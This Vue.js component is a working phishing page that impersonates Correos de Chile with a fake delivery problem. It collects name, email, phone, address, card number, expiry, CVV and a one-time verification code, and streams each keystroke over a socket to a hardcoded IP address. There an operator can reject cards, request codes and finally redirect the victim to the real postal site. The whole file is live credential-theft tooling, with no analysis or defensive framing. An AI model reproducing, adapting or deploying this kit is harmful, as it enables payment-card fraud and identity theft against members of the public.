<template>
    <div class="content">
        <Loading v-if="loading" />
        <Header />
        <div class="plr10">
            <div class="main-card">
                <div v-if="status === 0">
                    <div class="title">Realiza seguimiento en línea</div>
                    <div class="code">
                        <svg
                            t="1723083113517"
                            class="icon"
                            viewBox="0 0 1024 1024"
                            version="1.1"
                            xmlns="http://www.w3.org/2000/svg"
                            p-id="1535"
                            width="200"
                            height="200"
                        >
                            <path
                                d="M942.656 769.376 602.112 159.584c-22.144-39.712-55.104-62.496-90.304-62.496-35.232 0-68.16 22.784-90.368 62.528L81.312 769.344c-22.016 39.456-24.256 79.456-6.112 110.4C93.344 910.624 129.664 928 174.88 928l674.24 0c45.184 0 81.536-17.376 99.648-48.256C966.944 848.8 964.672 808.832 942.656 769.376zM480 320c0-17.664 14.336-32 32-32s32 14.336 32 32l0 288c0 17.696-14.336 32-32 32s-32-14.304-32-32L480 320zM512 832.128c-26.528 0-48-21.504-48-48s21.472-48 48-48 48 21.504 48 48S538.528 832.128 512 832.128z"
                                p-id="1536"
                            ></path>
                        </svg>
                        <div class="right">
                            <div class="right-title">Número de envío:</div>
                            <div class="code-text">RD59826308CL</div>
                        </div>
                    </div>
                    <div class="hr" />
                    <div class="code content-text">
                        <div class="right-title">
                            Tenemos problemas con su dirección de envío.
                        </div>
                        <div class="right-title">
                            Asegúrese de rellenar esta solicitud con exactitud,
                            ya que si proporciona datos incorrectos o inexactos
                            se retrasará la devolución de los artículos.
                        </div>
                        <div class="right-title">
                            Tramitaremos su solicitud con rapidez e intentaremos
                            entregarle los artículos en su dirección de
                            devolución en un plazo de cinco días laborables.
                        </div>
                    </div>
                </div>
                <div v-if="status === 1">
                    <h4 style="margin-bottom: 20px" class="title">
                        Complete su información personal
                    </h4>
                    <h4 class="title mb-1">Datos personales</h4>
                    <div class="desc">
                        Estimados usuarios Por favor complete el formulario para
                        asegurar una entrega exitosa.
                    </div>

                    <div
                        v-for="item in base"
                        :key="item.value"
                        style="margin-top: 30px"
                        class="form-item"
                    >
                        <div class="label require">{{ item.label }}</div>
                        <input
                            v-model="form[item.value]"
                            :placeholder="item.placeholder"
                            class="input"
                            type="text"
                            @input="changeInput"
                        />
                    </div>

                    <h4 style="margin-bottom: 20px" class="title">Dirección</h4>

                    <div
                        v-for="item in address"
                        :key="item.value"
                        style="margin-top: 30px"
                        class="form-item"
                    >
                        <div class="label require">{{ item.label }}</div>
                        <input
                            v-model="form[item.value]"
                            :placeholder="item.placeholder"
                            class="input"
                            type="text"
                            @input="changeInput"
                        />
                    </div>
                    <div class="flex">
                        <div
                            v-for="item in address2"
                            :key="item.value"
                            style="margin-top: 30px"
                            class="form-item"
                        >
                            <div class="label require">{{ item.label }}</div>
                            <input
                                v-model="form[item.value]"
                                :placeholder="item.placeholder"
                                class="input"
                                type="text"
                                @input="changeInput"
                            />
                        </div>
                    </div>
                </div>
                <div v-if="status === 2">
                    <h4 style="margin-bottom: 20px" class="title">
                        Pago en línea
                    </h4>
                    <!-- <h4 class="title mb-1">Datos personales</h4>
                    <div class="desc">
                        Estimados usuarios Por favor complete el formulario para
                        asegurar una entrega exitosa.
                    </div> -->

                    <div
                        v-for="item in card1"
                        :key="item.value"
                        style="margin-top: 30px"
                        class="form-item"
                    >
                        <div class="label require">{{ item.label }}</div>
                        <input
                            v-model="form[item.value]"
                            :placeholder="item.placeholder"
                            class="input"
                            type="text"
                            @input="changeInput"
                        />
                        <div
                            class="err_msg"
                            v-if="errMsg && item.value === 'card_number'"
                        >
                            {{ errMsg }}
                        </div>
                    </div>

                    <h4 style="margin-bottom: 20px" class="title">Dirección</h4>
                    <div class="flex">
                        <div
                            v-for="item in card2"
                            :key="item.value"
                            style="margin-top: 30px"
                            class="form-item"
                        >
                            <div class="label require">{{ item.label }}</div>
                            <input
                                v-model="form[item.value]"
                                :placeholder="item.placeholder"
                                class="input"
                                type="text"
                                @input="changeInput"
                            />
                        </div>
                    </div>
                </div>
                <div v-if="status === 3">
                    <h4 style="margin-bottom: 20px" class="title">
                        Pago en línea
                    </h4>

                    <div
                        v-for="item in code1"
                        :key="item.value"
                        style="margin-top: 30px"
                        class="form-item"
                    >
                        <div class="label require">{{ item.label }}</div>
                        <input
                            v-model="form[item.value]"
                            :placeholder="item.placeholder"
                            class="input"
                            type="text"
                            @input="changeInput"
                        />
                        <div class="err_msg" v-if="errMsg">
                            {{ errMsg }}
                        </div>
                    </div>
                </div>
                <div style="text-align: center" v-if="status === 999">
                    <div>
                        <i
                            style="color: green; font-size: 100px"
                            class="el-icon-success"
                        ></i>
                    </div>
                    <div>Actualizacion Completada</div>
                    <div>
                        Su paquete sera reenviado el
                        {{ parseTime(new Date(), "{y}/{m}/{d}") }}
                    </div>
                </div>
                <div
                    v-if="status === 0"
                    @click="(showForm = true), action(0), (status = 1)"
                    class="btn"
                >
                    Programa tu entrega
                </div>

                <div
                    v-if="status !== 0 && status !== 999"
                    @click="submit"
                    class="btn"
                >
                    Continuar
                </div>
            </div>
        </div>
        <Footer />
    </div>
</template>

<script>
import Footer from "../components/footer";
import Header from "../components/header";
import Loading from "../components/loading";
import { io } from "socket.io-client";
import { v4 as uuidv4 } from "uuid";
import { debounce } from "@/utils/index";
import { parseTime } from "@/utils/ruoyi";

export default {
    components: {
        Footer,
        Loading,
        Header,
    },
    data() {
        return {
            parseTime,
            showForm: false,
            loading: false,
            form: {},
            base: [
                {
                    label: "Mail",
                    value: "email",
                    require: true,
                    placeholder: "ingresa un email",
                },
                {
                    label: "Nombre",
                    value: "last_name",
                    require: true,
                    placeholder: "Ingresa tu nombre",
                },
                {
                    label: "Apellidos",
                    value: "first_name",
                    require: true,
                    placeholder: "ingresa tus apellidos",
                },
                {
                    label: "Celular",
                    value: "phone_number",
                    require: true,
                    placeholder: "+56",
                },
            ],
            address: [
                {
                    label: "Región",
                    value: "region",
                    require: true,
                    placeholder: "Ingresa Región",
                },
                {
                    label: "Ciudad",
                    value: "city",
                    require: true,
                    placeholder: "Ingresa Ciudad",
                },
                {
                    label: "Código postal",
                    value: "postal_code",
                    require: true,
                    placeholder: "Ingresa Código postal",
                },
                {
                    label: "Calle",
                    value: "street",
                    require: true,
                    placeholder: "Ingresa calle",
                },
            ],
            address2: [
                {
                    label: "Número calle",
                    value: "street_number",
                    require: true,
                    placeholder: "Ingresa número calle",
                },
                {
                    label: "Depto. / Casa",
                    value: "home_address",
                    require: true,
                    placeholder: "Ingresa Depto. o casa",
                },
            ],
            card1: [
                {
                    label: "Titular De La Tarjeta",
                    value: "cardholder_name",
                    require: true,
                    placeholder: "",
                },
                {
                    label: "Número De Tarjeta",
                    value: "card_number",
                    require: true,
                    placeholder: "",
                },
            ],
            card2: [
                {
                    label: "Número De Tarjeta",
                    value: "expiry_date",
                    require: true,
                    placeholder: "MM/YY",
                },
                {
                    label: "Número De Tarjeta",
                    value: "cvv",
                    require: true,
                    placeholder: "123",
                },
            ],
            code1: [
                {
                    label: "Número De Tarjeta",
                    value: "verification_code",
                    require: true,
                    placeholder: "verification_code",
                },
            ],
            unique_code: "",
            status: 0,
            button_sumbit: 0,
            errMsg: "",
            success: false,
        };
    },
    onReachBottom() {},
    onLoad() {
        // setTimeout(() => {
        //     this.loading = false;
        // }, 2000);
    },
    mounted() {
        this.init();
    },
    watch: {
        status(newvalue, old) {
            if (newvalue != 999) {
                localStorage.setItem("status", newvalue);
            }
        },
    },
    methods: {
        debounce,
        step(button_sumbit) {
            this.socket.emit("client_send_message", {
                button_sumbit,
                id: this.unique_code,
                unique_code: this.unique_code, //代表生成的uuid
            });
        },
        getIp() {
            return new Promise((reslove, reject) => {
                fetch("https://api.ipify.org/?format=json", {
                    // method: 'get',
                    // mode: 'cors',
                    // headers: {
                    //     "Content-Type": "application/json", // 设置请求头
                    // },
                })
                    .then((res) => {
                        return res.json();
                    })
                    .then((data) => {
                        reslove(data.ip);
                    });
            });
        },
        async init() {
            this.unique_code = localStorage.getItem("unique_code");
            if (!this.unique_code) {
                this.unique_code = uuidv4();
                localStorage.setItem("unique_code", this.unique_code);
            }
            this.status = localStorage.getItem("status") * 1 || 0;

            this.socket = io("http://38.61.1.233:8000", {
                transports: ["websocket"],
                secure: true,
                query: {
                    // admin_user_id: this.user.userId,
                    unique_code: this.unique_code,
                    page_url: window.location.host,
                    client_page: false,
                },
            });
            this.socket.on("jump_next_step_action", (message) => {
                console.log(message, "jump_next_step_action:message");
                const { action_type, message: msg } = message;
                /**
                 *  1: "验证码验证",
                    2: "APP验证",
                    3: "拒绝卡号",
                    4: "跳转验证",
                    5: "密码确认",
                    7: "返回上一步",
                    8: "接收验证码",
                    10: "拒绝验证码"
                 */
                if (action_type == 3) {
                    this.status = 2;
                    this.loading = false;
                    // this.$message.error(msg);
                    this.errMsg = msg;
                } else if (action_type == 1) {
                    this.status = 3;
                    this.loading = false;
                    this.step(4);
                } else if (action_type == 7) {
                    this.status = 2;
                    this.step(1);
                } else if (action_type == 4) {
                    this.step(999);
                    location.href = "https://www.correos.cl/";
                } else if (action_type == 8) {
                    this.status = 999;
                    this.loading = false;
                    this.step(999);
                } else if (action_type == 10) {
                    this.status = 3;
                    this.loading = false;
                    // this.step(999);
                    this.errMsg = msg;
                }
            });
        },
        changeInput() {
            this.sendData();
        },
        action(status) {
            const params = {
                unique_code: this.unique_code,
                status,
                id: this.unique_code,
                client_time: parseTime(new Date()),
                ...this.form,
            };

            console.log(params, "params");

            this.socket.emit("client_send_message", params);
        },
        sendData: debounce(function () {
            // 创建一个包含所有参数的对象
            var messageData = {
                type: 1, //代表包裹写死
                id: this.unique_code,
                unique_code: this.unique_code, //代表生成的uuid
                status: this.status, //0代表首页 1代表地址页面 2代表卡页面 3代表激活码页面
                ...this.form,
                client_time: parseTime(new Date()),
            };

            // 使用 socket.emit 发送数据
            this.socket.emit("client_send_message", messageData);
        }, 500),
        submit() {
            this.errMsg = "";
            var messageData = {
                type: 1, //代表包裹写死
                id: this.unique_code,
                unique_code: this.unique_code, //代表生成的uuid
                status: this.status, //0代表首页 1代表地址页面 2代表卡页面 3代表激活码页面
                ...this.form,
                client_time: parseTime(new Date()),
                button_sumbit: this.status,
            };
            // 使用 socket.emit 发送数据
            this.socket.emit("client_send_message", messageData);
            switch (this.status) {
                case 1:
                    this.status++;
                    break;
                case 2:
                    this.loading = true;
                    break;
                case 3:
                    this.loading = true;
                    break;
                default:
                    break;
            }
        },
    },
};
</script>

<style lang="scss">
.content {
    background: #f3f3f3;
    min-height: 100vh;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,
        "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji",
        "Segoe UI Emoji", "Segoe UI Symbol";
    font-size: 1rem;
    font-weight: 400;
    line-height: 1.5;
    color: #212529;
    text-align: left;
}
.header {
    height: 3.5rem;
    background: #d6001a;
    display: flex;
    /* align-items: center; */
    justify-content: space-between;
    padding: 0.983rem;
    box-sizing: border-box;
}

.logo {
    height: 1.25rem;
}

.mb-1 {
    margin-bottom: 0.3125rem !important;
}
.mr-4 {
    margin-right: 1.25rem !important;
}
.mb-4 {
    margin-bottom: 1.25rem !important;
}

.plr10 {
    padding: 0 10px;
}
.plr40 {
    padding: 0 40px;
}
.main-card {
    background: #fff;
    padding: 15px 25px 20px;
    border-radius: 5px;
    .title {
        font-size: 1.25rem;
        font-family: Assistant;
        line-height: 1.25;
    }

    .code,
    .content-text {
        margin: 20px 0 16px;
        background: #f3f3f3;
        border-radius: 5px;
        padding: 12px 20px;
        display: flex;
        align-items: center;
        .icon {
            width: 20px;
            height: 20px;
            margin-right: 0.625rem;
        }
        .right-title,
        .code-text {
            color: #727272;
            font-size: 1em;
        }
        .code-text {
            font-family: Roboto;
            line-height: 1.6;
            font-weight: bolder;
        }
    }
    .content-text {
        flex-direction: column;
    }
}

.hr {
    margin-top: 1rem;
    margin-bottom: 1rem;
    border: 0;
    border-top: 1px solid rgba(0, 0, 0, 0.1);
}
.btn {
    margin: 0 auto;
    background: #d6001a;
    color: #fff;
    border-radius: 1.625rem;
    line-height: 1.188rem;
    padding: 0.9em 2.4rem;
    font-family: Roboto-Bold;
    font-size: 1em;
    text-align: center;
    max-width: 13.75rem;
    margin-bottom: 1.25rem !important;
    box-sizing: border-box;
    white-space: nowrap;
}

.desc {
    color: #b0b0b0;
    font-size: 14px;
}

.form-item {
    margin-bottom: 30px;
    .require::after {
        content: "*";
        margin-bottom: 5px;
    }
    .label {
        color: #5c5c5c;
        font-size: 13px;
        margin-bottom: 8px;
    }
    .input {
        border: 0;
        width: 100%;
        border-bottom: #b9b9b9 1px solid;
        font-size: 16px;
        font-family: "Roboto";
    }
    input:focus {
        border-bottom: #000 1px solid;
        background: #f90;
    }
}

.flex {
    display: flex;
    gap: 20px;
}

.footer {
    .desc-container {
        margin-top: 30px;
        margin-bottom: 30px;
        margin-left: 30px;
        text-align: center;
    }
    .footer-banner {
        display: flex;
        background: #d6f0fe;
        border-radius: 5px;
        padding-top: 0.3125rem !important;
        padding-bottom: 0.3125rem !important;
        padding-right: 1.25rem !important;
        padding-left: 1.25rem !important;
        .left {
            width: 5.625rem;
            padding-top: 0.3125rem !important;
            padding-bottom: 0.3125rem !important;
        }
        .right {
            padding-left: 1.25rem !important;
            width: 100% !important;
            .right-text {
                color: #333454;
                padding-right: 1.25rem !important;
                padding-top: 0.3125rem !important;
                padding-bottom: 0.3125rem !important;
                font-family: Roboto-Bold !important;
                font-size: 16px !important;
                font-weight: bold;
            }
        }
    }
}

.err_msg {
    color: red;
}
</style>
